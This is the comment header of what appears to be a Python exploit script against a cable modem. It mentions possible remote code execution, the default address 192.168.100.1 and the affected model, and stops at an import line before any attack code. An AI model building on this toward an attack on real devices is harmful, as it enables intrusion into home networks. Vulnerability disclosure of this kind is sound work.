I believe this may lead to remote code execution# but I did not bother to test it further.# By default, this cable modem has an IP address of 192.168.100.1# There are two different but similar models of this router, the only# difference I see between them is that one has an On/Off button on the# front. The one I discovered this on is the one without a button. I# have not tested this on the other model.# Thanks to ShadowHatesYou for the inspiration to look closer at the# little black box on my network.import sys, socket
